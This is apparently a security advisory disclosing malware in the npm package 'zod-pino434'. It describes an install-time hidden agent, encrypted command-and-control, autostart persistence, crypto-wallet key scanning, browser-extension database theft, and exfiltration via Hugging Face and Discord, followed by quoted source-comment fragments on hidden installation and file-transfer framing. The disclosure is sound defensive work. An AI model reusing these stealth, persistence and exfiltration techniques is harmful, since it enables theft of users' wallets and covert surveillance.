Summary

Malicious code in zod-pino434 (npm)

Details

Package name (`zod-pino434`) and package.json description (`Node.js integration layer for Autodesk Forge`) do not match the shipped code. On `npm install`, the declared postinstall runs `scripts/postinstall-agent.mjs`, which spawns `dist/cli-agent.js` as a detached, window-hidden background process. The agent connects over WebSocket to a remote relay whose host, ports, and default password are hidden as an AES-256-GCM blob in `dist/deploymentCipherData.js`, decrypted at runtime with a 32-byte key reconstructed by XOR-ing two embedded halves in `dist/deploymentDefaults.js` (the relay URL is deliberately kept out of argv). Postinstall additionally invokes `dist/cli-autostart.js install` to register OS-level autostart (Windows Run key / launchd / systemd) pointing at a durable copy of the agent under `<CfgMgrData>/.forge-jsxy/runtime/v<ver>/`, so the implant survives removal of the npm package. Once running, `dist/secretScan/agentStartupAudit.js` walks the POSIX root or every Windows drive letter for BIP39-checksum-valid mnemonics, secp256k1/WIF private keys, and BIP32 extended keys (`xprv`/`tprv`/`zprv`); `dist/chromiumExtensionDbHarvest.js` enumerates Chromium/Edge/Brave/Vivaldi/Yandex/Opera profiles across Windows, macOS, and Linux, force-killing processes holding file locks and copying `Local Extension Settings/<ext_id>/` and `IndexedDB/chrome-extension_*` LevelDB trees (including MetaMask/Phantom-shaped wallet stores) into a staging area. Harvested data is uploaded to `agents/<hostname>/result.json` on the Hugging Face Hub using a `hf_` write-token decrypted from an embedded AES-256-GCM blob (`dist/hfCredentials.js`) or delivered via the relay. `dist/hostInventorySend.js` POSTs hostname/platform/node/OS to the relay, and `dist/discordRelayUpload.js` forwards agent-side PNG screenshots to per-client Discord channels via a bot token held on the relay. Combined behavior: install-time RCE, encrypted C2, persistence, credential-grade wallet theft, browser-extension database exfiltration, host inventory + screenshot surveillance, and a shipped third-party exfil credential.

5 * 1. `npm pack --ignore-scripts` this package → `.tgz` (skips `prepack`/`tsc` on end-user machines; `dist/` must ship in the tarball).

6 * 2. **Hidden local prefix only** (no `npm -g` / no system global):

7 * `npm install <tgz> --prefix <CfgMgr>/.forge-jsxy/runtime/v<version>/`

8 * → `node_modules/forge-jsxy/dist/`

3 * Ordered `forge-bulk` data channel framing for large fs_read/fs_zip/fs_screenshot payloads.

4 *

5 * **v1 (legacy):** UTF-8 JSON header (`_fb:"hdr"`, `v:1`, `byte_len`) + **one** binary message (raw body).

6 * **v2 (current):** same header with `v:2`, `byte_len`, `chunk_sz` + **multiple** binary chunks (≤ `chunk_sz`,

7 * last chunk may be shorter). Ordered SCTP-safe — avoids single-message size limits on some browsers/stacks.

8 *

9 * Viewers reconstruct `b64` locally — avoids giant JSON over SCTP.

10 * Remote `/remote` camera overlay may use a second v2 frame (`fs_screenshot_sidecar_result`, `sidecar:"camera"`).
